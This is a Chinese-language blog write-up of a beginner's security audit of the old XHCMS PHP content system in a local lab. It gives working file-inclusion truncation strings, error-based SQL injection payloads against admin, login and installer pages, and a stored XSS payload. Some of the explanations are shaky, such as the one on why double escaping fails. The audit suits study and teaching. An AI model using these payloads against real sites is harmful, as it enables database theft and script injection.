第一次审计,抱着学习的态度,从一个初学者的角度去尝试摸石头过河,踩坑,跳坑,并做个记录吧:
一、环境安装 使用phpstudy 5.4.45+mysql5.5.53进行搭建(这个cms比较老,用php7会出问题)。
去网上下载xhcms源码(https://down.chinaz.com/),解压到phpstudy根目录,启动phpstudy,访问安装并安装即可。
(安装时记得提前在phpstudy中mysql管理创建一个数据库(我这里创建一个testxhcms数据库使用))
审计过程 先了解一下目录结构
admin
管理后台文件夹
css
存放css的文件夹
files
存放页面的文件夹
images
存放图片的文件夹
inc
存放网站配置文件的文件夹
install
网站进行安装的文件夹
seacmseditor
编辑器文件夹
template
模板文件夹
upload
上传功能文件夹
index.php
网站首页
一个个看文件不太现实,用一用工具吧,先使用seay自动化代码审计工具扫一下:
可以看到,有爆出34个可疑位置,接下来就一个个去分析代码,进行尝试。
一、第一条检测结果 首页/后台文件包含漏洞 index.php以及admin/index.php
1 2 3 4 5 6 7 <?php error_reporting (0 ); $file =addslashes ($_GET ['r' ]); $action =$file =='' ?'index' :$file ; include ('files/' .$action .'.php' ); ?>
分析代码:
第一行的注释里面有写”单一入口模式”,这个是什么意思呢?简单来说就是用一个文件处理所有的HTTP请求 ,例如不管是内容列表页,用户登录页还是内容详细页,都是通过从浏览器访问 index.php 文件来进行处理的,这里这个 index.php 文件就是这个应用程序的单一入口(具体造成的影响在我们后面使用文件时会再次提到来进行理解 )。
第二行的error_reporting(0);表示关闭所有PHP错误报告。
addslashes() 函数返回在预定义字符(单·双引号、反斜杠(\)、NULL)之前添加反斜杠的字符串。
第四行、第五行,通过三元运算符判断文件名是否为空,为空则载入files/index.php文件,反之赋值就会把传递进来的文件名赋值给$action,”.“在PHP里是拼接的作用,因此就是把第四行传递的变量$file(到这里是$action,因为上一行$file赋值给了$action)也就是传递的文件名字,拼接前面的目录”files/”以及后面的”.php”这个后缀,最终载入拼接后的相应文件。
那么这里漏洞利用其实就两个问题:跳出限定的目录和截断拼接的后缀
我们需要截断后面的 .php 后缀,因此使用Windows文件名字的特性及Windows文件名的全路径限制进行截断。1.Windows下在文件名字后面加 “.” 不影响文件。
2.Windows的文件名的全路径(Fully Qualified File Name)的最大长度为260字节 。但是这个是有利用条件的,在我这几次测试过程中, 发现必须同时满足 php版本=5.2.17、Virtual Directory Support=enable
先在网站根目录下写一个phpinfo用于测试:test.txt
1 2 3 4 5 6 7 8 9 10 00 截断利用条件 1 、magic_quotes_gpc =off2 、php版本小于5.3 .4 ?截断失败 长度截断可用: payload: 1 .?r=../test.txt........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................2 .?r=../test.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
二、sql注入 /admin/files/login.php 1 2 3 4 5 6 7 8 9 10 require '../inc/conn.php' ;$login =$_POST ['login' ];$user =$_POST ['user' ];$password =$_POST ['password' ];$checkbox =$_POST ['checkbox' ];if ($login <>"" ){$query = "SELECT * FROM manage WHERE user='$user '" ;$result = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$users = mysql_fetch_array ($result );
对$user变量未作过滤,直接单引号包裹带入查询,存在sql注入,打一打(测试未屏蔽报错,用报错注入):
payload:
1 1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--
成功爆出数据库
/admin/files/adset.php报警SQL注入漏洞: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php require '../inc/checklogin.php' ;require '../inc/conn.php' ;$setopen ='class="open"' ;$query = "SELECT * FROM adword" ;$resul = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$ad = mysql_fetch_array ($resul );$save =$_POST ['save' ];$ad1 =addslashes ($_POST ['ad1' ]);$ad2 =addslashes ($_POST ['ad2' ]);$ad3 =addslashes ($_POST ['ad3' ]);if ($save ==1 ){$query = "UPDATE adword SET ad1='$ad1 ', ad2='$ad2 ', ad3='$ad3 ', date=now()" ;@mysql_query ($query ) or die ('修改错误:' .mysql_error ()); echo "<script>alert('亲爱的,广告设置成功更新。');location.href='?r=adset'</script>" ; exit ;} ?>
分析代码,报警处三个可控变量ad1-ad3都经过了addlashes()函数处理,因此此处其实不存在sql注入漏洞,属于误报。
下一个
/admin/files/editcolumn.php 双击打开文件,首先看到的还不是报错位置,而是文件开头,直接吸引了我的目光,关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 $id =$_GET ['id' ];$type =$_GET ['type' ];if ($type ==1 ){$query = "SELECT * FROM nav WHERE id='$id '" ;$resul = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$nav = mysql_fetch_array ($resul );} if ($type ==2 ){$query = "SELECT * FROM navclass WHERE id='$id '" ;$resul = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$nav = mysql_fetch_array ($resul );}
可以看到,id、type都是直接通过GET方式传入进来,然后单引号闭合,未作任何其他过滤就开始进入数据库查询。因此我们先登陆进后台,然后去包含这个文件(前面我们提到index.php文件中的单一入口模式,这也就导致这个文件夹下的所有文件都需要这么去使用 )否则由于权限问题会产生报错如下:
进入此页面进行利用尝试:
1 http:/ / 192.168 .121 .130 / xhcms/ admin/ ?r= editcolumn
由上分析,直接GET传参尝试利用:(要进入连接数据库部分,因此type需要满足条件1或2,这里随便选择1)没有屏蔽报错,所以懒得测试字段什么的,直接采用报错注入,payload:
1 ?r= editcolumn& type= 1 & id= 1 ' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
成功注出数据库,后面就不写了,流程一套就是。
言归正传,报警处代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 $save =$_POST ['save' ];$name =$_POST ['name' ];$keywords =$_POST ['keywords' ];$description =$_POST ['description' ];$px =$_POST ['px' ];$xs =$_POST ['xs' ];if ($xs =="" ){$xs =1 ; } $tuijian =$_POST ['tuijian' ];if ($tuijian =="" ){$$tuijian =0 ; } $content =$_POST ['content' ];if ($save ==1 ){ if ($name =="" ){echo "<script>alert('抱歉,栏目名称不能为空。');history.back()</script>" ;exit ;} if ($type ==1 ){$query = "UPDATE nav SET name='$name ', keywords='$keywords ', description='$description ', xs='$xs ', px='$px ', content='$content ', date=now() WHERE id='$id '" ;@mysql_query ($query ) or die ('修改错误:' .mysql_error ()); echo "<script>alert('亲爱的,一级栏目已经成功编辑。');location.href='?r=columnlist'</script>" ; exit ;} if ($type ==2 ){$query = "UPDATE navclass SET name='$name ', keywords='$keywords ', description='$description ', xs='$xs ', px='$px ', tuijian='$tuijian ', date=now() WHERE id='$id '" ;@mysql_query ($query ) or die ('修改错误:' .mysql_error ()); echo "<script>alert('亲爱的,二级栏目已经成功编辑。');location.href='?r=columnlist'</script>" ; exit ;}
其实就是在刚刚代码下面,漏洞出现方式和它一摸一样(除了此处是POST传参),因此不再详谈。
下一个
/admin/files/editlink.php 关键代码:
1 2 3 4 5 6 7 8 <?php require '../inc/checklogin.php' ;require '../inc/conn.php' ;$linklistopen ='class="open"' ;$id =$_GET ['id' ];$query = "SELECT * FROM link WHERE id='$id '" ;$resul = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$link = mysql_fetch_array ($resul );
1 2 3 4 5 6 7 8 9 10 11 12 $query = "UPDATE link SET name='$name ', url='$url ', mail='$mail ', jieshao='$jieshao ', xs='$xs ', date=now() WHERE id='$id '" ;@mysql_query ($query ) or die ('修改错误:' .mysql_error ()); echo "<script>alert('亲爱的,链接已经成功编辑。');location.href='?r=linklist'</script>" ; exit ;
同样的漏洞出现方式,对可控变量不做过滤,直接单引号闭合开始查询更新数据。利用payload:
1 ?r= editlink& id= 1 ' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
或者POST注入(直接填在框内,点击保存)
1 name= 1 & url= 1 ' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and'
下一个
/admin/files/editsoft.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $id =$_GET ['id' ];$query = "SELECT * FROM download WHERE id='$id '" ;$resul = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$download = mysql_fetch_array ($resul );$save =$_POST ['save' ];$title =$_POST ['title' ];$author =$_POST ['author' ];$keywords =$_POST ['keywords' ];$description =$_POST ['description' ];$images =$_POST ['images' ];$daxiao =$_POST ['daxiao' ];$language =$_POST ['language' ];$version =$_POST ['version' ];$demo =$_POST ['demo' ];$url =$_POST ['url' ];$softadd =$_POST ['softadd' ];$softadd2 =$_POST ['softadd2' ];$content =$_POST ['content' ];$xs =$_POST ['xs' ];if ($xs =="" ){ $xs =1 ;}if ($save ==1 ){if (!empty ($_FILES ['images' ]['tmp_name' ])){$query = "SELECT * FROM imageset" ;$result = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$imageset = mysql_fetch_array ($result );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $query = "UPDATE download SET title='$title ', keywords='$keywords ', description='$description ', $images daxiao='$daxiao ', language='$language ', version='$version ', author='$author ', demo='$demo ', url='$url ', softadd='$softadd ', softadd2='$softadd2 ', xs='$xs ', content='$content ', date=now() WHERE id='$id '" ;@mysql_query ($query ) or die ('修改错误:' .mysql_error ()); echo "<script>alert('亲爱的,下载," .$imgsms ."成功更新。');location.href='?r=softlist'</script>" ; exit ;
同上,典中点无脑sql,不再提
下一个
/admin/files/editwz.php 一样的注入
1 1 ' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
/admin/files/imageset.php 1 2 3 4 5 6 7 8 9 10 11 12 13 if ($filename <>"" ){$images ="img_logo='$filename '," ; } $query = "UPDATE imageset SET img_kg='$img_kg ', $images img_weizhi='$img_weizhi ', img_slt='$img_slt ', img_moshi='$img_moshi ', img_wzkd='$img_wzkd ', img_wzgd='$img_wzgd '" ;@mysql_query ($query ) or die ('修改错误:' .mysql_error ()); echo "<script>alert('亲爱的,图片设置成功更新。');location.href='?r=imageset'</script>" ;
同样的注入问题,不再详说,不过这个文件里宁一段代码引起了我的注意:
1 2 3 4 5 6 7 8 9 10 11 12 if (!empty ($_FILES ['images' ]['tmp_name' ])){include '../inc/up.class.php' ;if (empty ($HTTP_POST_FILES ['images' ]['tmp_name' ])){ $tmp = new FileUpload_Single ; $upload ="../upload/watermark" ; $tmp -> accessPath =$upload ; if ( $tmp -> TODO () ) { $filename =$tmp -> newFileName; $filename =$upload .'/' .$filename ; }
包含了个../inc/up.class.php,文件上传相关,不得不引人注目,此处没有利用点,跟进一下这个包含的文件看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 <?php class FileUpload_Single {var $accessPath ;var $fileSize =4000 ;var $defineTypeList ="jpg|jpeg|gif|bmp|png" ;var $filePrefix = "" ;var $changNameMode =0 ;var $uploadFile ;var $newFileName ;var $error ;function TODO ( ) {$pass = true ;if ( ! $this -> GetFileAttri () ){ $pass = false ; } if ( ! $this -> CheckFileMIMEType () ) { $pass = false ; $this -> error .= die ("<script language=\"javascript\">alert('图片类型不正确,允许格式:jpg|jpeg|gif|bmp。');history.back()</script>" ); } if ( ! $this -> CheckFileAttri_size () ){ $pass = false ; $this -> error .= die ("<script language=\"javascript\">alert('上传的文件太大,请确保在" .$fileSize ."K以内。');history.back()</script>" ); return false ; } if ( ! $this -> MoveFileToNewPath () ){ $pass = false ; $this -> error .= die ("<script language=\"javascript\">alert('上传失败!文件移动发生错误!');history.back()</script>" ); } return $pass ; } function GetFileAttri ( ) { foreach ( $_FILES as $tmp ) { $this -> uploadFile = $tmp ; } return (empty ( $this -> uploadFile[ 'name' ])) ? false : true ; } function CheckFileAttri_size ( ) { if ( ! empty ( $this -> fileSize )) { if ( is_numeric ( $this -> fileSize )) { if ($this -> fileSize > 0 ) { return ($this -> uploadFile[ 'size' ] > $this -> fileSize * 1024 ) ? false : true ; } } else { return false ; } } else { return false ; } } function ChangeFileName ($prefix = NULL , $mode ) { $fullName = (isset ($prefix )) ? $prefix ."" : NULL ; switch ($mode ) { case 0 : $fullName .= rand ( 0 , 100 ). "_" .strtolower (date ("ldSfFYhisa" )) ; break ; case 1 : $fullName .= rand ( 0 , 100 ). "_" .time (); break ; case 2 : $fullName .= rand ( 0 , 10000 ) . time (); break ; default : $fullName .= rand ( 0 , 10000 ) . time (); break ; } return $fullName ; } function MoveFileToNewPath ( ) { $newFileName = NULL ; $newFileName = $this -> ChangeFileName ( $this -> filePrefix , 2 ). "." . $this -> GetFileTypeToString (); $array_dir =explode ("/" ,$this -> accessPath); for ($i =0 ;$i <count ($array_dir );$i ++){ $path .= $array_dir [$i ]."/" ; if (!file_exists ($path )){ mkdir ($path ); } } if ( move_uploaded_file ( $this -> uploadFile[ 'tmp_name' ] , realpath ( $this -> accessPath ) . "/" . $newFileName ) ) { $this -> newFileName = $newFileName ; return true ; }else { return false ; } } function CheckFileExist ( $path = NULL ) { return ($path == NULL ) ? false : ((file_exists ($path )) ? true : false ); } function GetFileMIME ( ) { return $this ->GetFileTypeToString (); } function CheckFileMIMEType ( ) { $pass = false ; $defineTypeList = strtolower ( $this ->defineTypeList); $MIME = strtolower ( $this -> GetFileMIME ()); if (!empty ($defineTypeList )) { if (!empty ($MIME )) { foreach (explode ("|" ,$defineTypeList ) as $tmp ) { if ($tmp == $MIME ) { $pass = true ; } } } else { return false ; } } else { return false ; } return $pass ; } function GetFileTypeToString ( ) { if ( ! empty ( $this -> uploadFile[ 'name' ] ) ) { return substr ( strtolower ( $this -> uploadFile[ 'name' ] ) , strlen ( $this -> uploadFile[ 'name' ] ) - 3 , 3 ); } } } ?>
很不幸,处理严格,没发现可利用点(或者是实力不足,有问题没看出来?遗憾~~~)
下一个
/admin/files/manageinfo.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $query = "UPDATE content SET navclass='$navclass ', title='$title ', toutiao='$toutiao ', author='$author ', keywords='$keywords ', description='$description ', xs='$xs ', $images content='$content ', editdate=now() WHERE id='$id '" ;@mysql_query ($query ) or die ('修改错误:' .mysql_error ()); echo "<script>alert('亲爱的,文章," .$imgsms ."成功修改。');location.href='?r=wzlist'</script>" ; exit ;
同上,差异不大,直接post框内注入即可
下一个
/admin/files/newlink.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $save =$_POST ['save' ];$name =$_POST ['name' ];$url =$_POST ['url' ];$mail =$_POST ['mail' ];$jieshao =$_POST ['jieshao' ];$xs =$_POST ['xs' ];if ($save ==1 ){ if ($name =="" ){echo "<script>alert('抱歉,链接名称不能为空。');history.back()</script>" ;exit ;} if ($url =="" ){echo "<script>alert('抱歉,链接地址不能为空。');history.back()</script>" ;exit ;} $query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name ','$url ','$mail ','jieshao','xs',now())" ;@mysql_query ($query ) or die ('新增错误:' .mysql_error ()); echo "<script>alert('亲爱的,链接已经成功添加。');location.href='?r=linklist'</script>" ; exit ;
这里终于有了一点不同(仅限于sql语句,555555)没有新意,还是构造闭合直接开注即可
1 2 name= 123 & url= 1 ' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and' / / 框中填写提交即可
下一个:
/admin/files/reply.php 无新意,不再提
下一个
/files/content.php 关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $id =addslashes ($_GET ['cid' ]);$query = "SELECT * FROM content WHERE id='$id '" ;$resul = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$content = mysql_fetch_array ($resul );$navid =$content ['navclass' ];$query = "SELECT * FROM navclass WHERE id='$navid '" ;$resul = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$navs = mysql_fetch_array ($resul );$query = "UPDATE content SET hit = hit+1 WHERE id=$id " ;@mysql_query ($query ) or die ('修改错误:' .mysql_error ()); ?> <?php $query =mysql_query ("select * FROM interaction WHERE (cid='$id ' AND type=1 and xs=1)" );$pinglunzs = mysql_num_rows ($query )?>
注意到两处:
1 $id =addslashes ($_GET ['cid' ]);
1 2 3 $query = "UPDATE content SET hit = hit+1 WHERE id=$id " ;payload: http:
下一个
/admin/files/seniorset.php 和 /admin/files/site.php和/files/downlows.php 依旧无新意直接注入即可
下一个
/files/software.php 1 2 3 4 $id =addslashes ($_GET ['cid' ]);$query = "SELECT * FROM download WHERE id='$id '" ;$resul = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$download = mysql_fetch_array ($resul );
默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
因为这里被GET传值就已经默认运行addslashes()
,所以再次使用addslashes()
就不起作用了,所以我们依旧还是可以进行报错注入。
1 2 payload: ?r= software& cid= 1 'or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))
下一个
/install/index.php重装注入 关键代码
1 2 3 4 5 6 7 $conn = @mysql_connect ($dbhost ,$dbuser ,$dbpwd ) or die ('数据库连接失败,错误信息:' .mysql_error ());mysql_select_db ($dbname ) or die ('数据库错误,错误信息:' .mysql_error ());mysql_query ('SET NAMES UTF8' ) or die ('字符集设置错误' .mysql_error ());$query = "UPDATE manage SET user='$user ',password='$password ',name='$user '" ;@mysql_query ($query ) or die ('修改错误:' .mysql_error ()); echo "管理信息已经成功写入!<br /><br />" ;
user、password等变量未经过滤直接拼接,存在可利用注入。尝试利用(重装需要先删除/install目录下的InstallLock.txt文件,然后访问根目录,开始重装)
payload:
1 1 ' or extractvalue(1,concat(0x7e,(select version()),0x7e))#
1 2 3 4 5 6 7 8 9 请勿刷新及关闭浏览器以防止程序被中止,如有不慎!将导致数据库结构受损 正在导入备份数据,请稍等! 正在导入sql:seacms.sql 数据库导入成功! 正在导入sql:seacms.sql 数据库导入成功! MySQL数据库连接配置成功! 修改错误:XPATH syntax error: '~5.5.53~'
到此处,我能找到的sql相关的漏洞就结束了,说实话,这个cms不愧是足够老,足够适合新手,这sql漏洞基本没有防御。
三、文件包含文件读取 /files/downloads.php seay报警此文件有危险的任意文件包含,文件下载
看代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 <?php require 'inc/conn.php' ;$line =addslashes ($_GET ['line' ]);$type =addslashes ($_GET ['type' ]);$fileid =addslashes ($_GET ['cid' ]);if (!is_numeric ($fileid )){echo "错误的下载请求!" ;exit ;}$query = "SELECT * FROM download WHERE ( id='$fileid ')" ;$result = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$down = mysql_fetch_array ($result );$fileadd =$down ['softadd' ];$fileadd2 =$down ['softadd2' ];if ($type =='soft' AND $line =='pan' ){if ($fileadd2 =="" ){echo "<script language=JavaScript>alert('抱歉,程序尚在开发当中,请稍后再试!');history.back();window.close();</script>" ;exit ; } $query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid '" ;@mysql_query ($query ) or die ('修改错误:' .mysql_error ()); header ("Location: $fileadd2 " ); exit ;} if ($type =='soft' AND ($line =="telcom" OR $line =="unicom" )){$filename =$down ['title' ];$filename2 =$down ['version' ];$filename =iconv ("UTF-8" , "GBK" , $filename );$houzhui =substr ($fileadd ,strrpos ($fileadd ,"." ));$sourceFile = $fileadd ; $outFile = $filename ." " .$filename2 .$houzhui ; $file_extension = strtolower (substr (strrchr ($sourceFile , "." ), 1 )); if (!is_file ($sourceFile )) { die ("<script language=JavaScript>alert('抱歉,本地下载未发现文件,请选择网盘下载!');history.back();window.close();</script>" ); } $len = filesize ($sourceFile ); $filename = basename ($sourceFile ); $outFile_extension = strtolower (substr (strrchr ($outFile , "." ), 1 )); switch ($outFile_extension ) { case "exe" : $ctype = "application/octet-stream" ; break ; case "zip" : $ctype = "application/zip" ; break ; case "mp3" : $ctype = "audio/mpeg" ; break ; case "mpg" : $ctype = "video/mpeg" ; break ; case "avi" : $ctype = "video/x-msvideo" ; break ; default : $ctype = "application/force-download" ; } header ("Cache-Control:" ); header ("Cache-Control: public" ); header ("Content-Type: $ctype " ); header ("Content-Disposition: attachment; filename=" . $outFile ); header ("Accept-Ranges: bytes" ); $size = filesize ($sourceFile ); if (isset ($_SERVER ['HTTP_RANGE' ])) { list ($a , $range ) = explode ("=" , $_SERVER ['HTTP_RANGE' ]); str_replace ($range , "-" , $range ); $size2 = $size -1 ; $new_length = $size2 - $range ; header ("HTTP/1.1 206 Partial Content" ); header ("Content-Length: $new_length " ); header ("Content-Range: bytes $range $size2 /$size " ); } else { $size2 = $size -1 ; header ("Content-Range: bytes 0-$size2 /$size " ); header ("Content-Length: " . $size ); } $fp = fopen ("$sourceFile " , "rb" ); fseek ($fp , $range ); while (!feof ($fp )) { set_time_limit (0 ); print (fread ($fp , 1024 * 8 )); flush (); ob_flush (); } fclose ($fp ); $query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid '" ;@mysql_query ($query ) or die ('修改错误:' .mysql_error ()); exit (); } ?>
报警处在
1 2 3 4 5 6 7 8 9 10 11 12 $fp = fopen ("$sourceFile " , "rb" ); fseek ($fp , $range ); while (!feof ($fp )) { set_time_limit (0 ); print (fread ($fp , 1024 * 8 )); flush (); ob_flush (); } fclose ($fp );
fread()函数,字节输出文件,跟进变量$fp–>$sourceFile
1 2 3 4 5 $houzhui =substr ($fileadd ,strrpos ($fileadd ,"." ));$sourceFile = $fileadd ; $outFile = $filename ." " .$filename2 .$houzhui ; $file_extension = strtolower (substr (strrchr ($sourceFile , "." ), 1 ));
继续跟进$fileadd–>$down
1 2 3 4 5 6 $fileadd =$down ['softadd' ];$fileadd2 =$down ['softadd2' ];if ($type =='soft' AND $line =='pan' ){if ($fileadd2 =="" ){echo "<script language=JavaScript>alert('抱歉,程序尚在开发当中,请稍后再试!');history.back();window.close();</script>" ;exit ;
继续$down
1 2 3 4 5 6 7 8 9 10 11 $line =addslashes ($_GET ['line' ]);$type =addslashes ($_GET ['type' ]);$fileid =addslashes ($_GET ['cid' ]);if (!is_numeric ($fileid )){echo "错误的下载请求!" ;exit ;}$query = "SELECT * FROM download WHERE ( id='$fileid ')" ;$result = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$down = mysql_fetch_array ($result );$fileadd =$down ['softadd' ];$fileadd2 =$down ['softadd2' ];
跟进到此处,希望断绝,$down来自数据库查询结果$result,而$result的来源GET参数cid经过了addlashes()函数处理,变得不可控,因此此处变量实际不可控制,导致爆出的任意文件操作漏洞成为误报。并且由于addlashes()函数的存在,且后面的变量处理(”SELECT * FROM download WHERE ( id=’$fileid’)”)严格,又导致刚刚有希望的sql注入希望破灭。
不纠结,下一个
/inc/db.class.php seay爆此文件有任意文件操作漏洞,看一下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 @param string $sql \* @param string $filename \* @param string $dir \* @return boolean */ private function _write_file ($sql , $filename , $dir ) { $dir = $dir ? $dir : './backup/' ; if (! is_dir ( $dir )) { mkdir ( $dir , 0777 , true ); } $re = true ; if (! @$fp = fopen ( $dir . $filename , "w+" )) { $re = false ; $this ->_showMsg ("打开sql文件失败!" ,true ); } if (! @fwrite ( $fp , $sql )) { $re = false ; $this ->_showMsg ("写入sql文件失败,请文件是否可写" ,true ); } if (! @fclose ( $fp )) { $re = false ; $this ->_showMsg ("关闭sql文件失败!" ,true ); } return $re ; }
追踪变量$fp,
1 ! @$fp = fopen ( $dir . $filename, "w+" )
由变量$dir和$filename控制,但这两个参数不可控,因此变量$fp也不可控,所以此处因该是误报。
seay提到的文件操作漏洞就结束了,基本都是误报,变量一步步追溯到最后都不可控,可能是调用链长一些,就容易导致误报。
四、XSS 存储型xss /seacmseditor/php/controller.php seay工具报echo中存在可控变量,可能存在xss,打开看看代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 if (isset ($_GET ["callback" ])) { if (preg_match ("/^[\w_]+$/" , $_GET ["callback" ])) { echo htmlspecialchars ($_GET ["callback" ]) . '(' . $result . ')' ; } else { echo json_encode (array ( 'state' => 'callback参数不合法' )); } } else { echo $result ; }
两个可疑输出点,两个可控变量,$_GET[“callback”]和$result,其中$GET[“callback”]先是经过了preg_match()函数进行/^[\w ]+$/正则匹配,从头匹配任意一个字符与下划线组合一次或多次结尾,匹配到就返回1,否则返回0,又htmlspecialchars()函数进行防xss处理,看来$_GET[“callback”]变量基本没有可利用性了,再看看$result变量,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 $CONFIG = json_decode (preg_replace ("/\/\*[\s\S]+?\*\//" , "" , file_get_contents ("config.json" )), true );$action = $_GET ['action' ];switch ($action ) { case 'config' : $result = json_encode ($CONFIG ); break ; case 'uploadimage' : case 'uploadscrawl' : case 'uploadvideo' : case 'uploadfile' : $result = include ("action_upload.php" ); break ; case 'listimage' : $result = include ("action_list.php" ); break ; case 'listfile' : $result = include ("action_list.php" ); break ; case 'catchimage' : $result = include ("action_crawler.php" ); break ; default : $result = json_encode (array ( 'state' => '请求地址出错' )); break ; }
可以看到$result变量已经被限定死了,不可控,因此这处xss也是误报。到此处seay审计系统报给我们的漏洞就差不多审计完了,但是xss却没有找到,不甘心,回想之下,想到一开始**/admin/files/adset.php**文件中审计sql注入时,变量经过了addlashes()函数处理,因此sql注入被ban,但仔细看代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php require '../inc/checklogin.php' ;require '../inc/conn.php' ;$setopen ='class="open"' ;$query = "SELECT * FROM adword" ;$resul = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$ad = mysql_fetch_array ($resul );$save =$_POST ['save' ];$ad1 =addslashes ($_POST ['ad1' ]);$ad2 =addslashes ($_POST ['ad2' ]);$ad3 =addslashes ($_POST ['ad3' ]);if ($save ==1 ){$query = "UPDATE adword SET ad1='$ad1 ', ad2='$ad2 ', ad3='$ad3 ', date=now()" ;@mysql_query ($query ) or die ('修改错误:' .mysql_error ()); echo "<script>alert('亲爱的,广告设置成功更新。');location.href='?r=adset'</script>" ; exit ;} ?>
可以看到$ad1-3经过addslashes()函数处理一次带入了页面(这里很疑惑,addlashe()函数会转义预定义字符(单·双引号、反斜杠(\)、NULL),因此按理来说网上有些师傅给出的xsspayload: 如:
1 <script>alert ('hahhaha' )</script>
在经过处理后,单引号(’)被转义,payload应该是不能生效的才对)带着疑问进行尝试后,果然,payload失效。
那么问题究竟在哪里?上网搜索,有师傅给出的解释是addlashes()函数主要是用于防范sql注入,对xss过滤基本没有效果,但具体原因没有说明,ps:有大师傅知道能讲解一下吗?
查资料搜索addlashes()函数,了解到
1 2 3 4 5 6 7 8 9 10 11 addslashes () 函数返回在预定义字符之前添加反斜杠的字符串。预定义字符是: 单引号(') 双引号(") 反斜杠(\) NULL 提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。 注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
因为php会默认对某些预定义符号进行转义处理,因此如果此处再用addlashes()函数处理,会造成二次转义,使防范失效。
在**/seacmseditor/php/controller.php**文件底部,看到:
1 2 3 4 5 6 7 <div class ="form-group" > <label class ="col-lg-4 control-label" > 广告一</label > <div class ="col-lg-8" > <textarea name ="ad1" class ="form-control col-lg-12" placeholder ="ad-1" > <?php echo $ad['ad1']?> </textarea > </div > </div>
构造payload:
1 <textarea name="ad1" class ="form -control col -lg -12" placeholder ="ad -1"><?php echo $ad ['ad1 ']?></textarea >
闭合<textarea》标签即可:
payload:
1 </textarea><script>alert ('hahhahahaa' )</script>
成功弹窗!因为此处和后端数据库存在交互,所以是一个存储型xss
那么同样的原理,在前面我们找到过的sql注入点附近,似乎都只是进行了这样简单的过滤,是不是都存在这样的xss呢?
测试一下:
/admin/files/editcolumn.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 $columnopen ='class="open"' ;$id =$_GET ['id' ];$type =$_GET ['type' ];if ($type ==1 ){$query = "SELECT * FROM nav WHERE id='$id '" ;$resul = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$nav = mysql_fetch_array ($resul );} if ($type ==2 ){$query = "SELECT * FROM navclass WHERE id='$id '" ;$resul = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());$nav = mysql_fetch_array ($resul );}
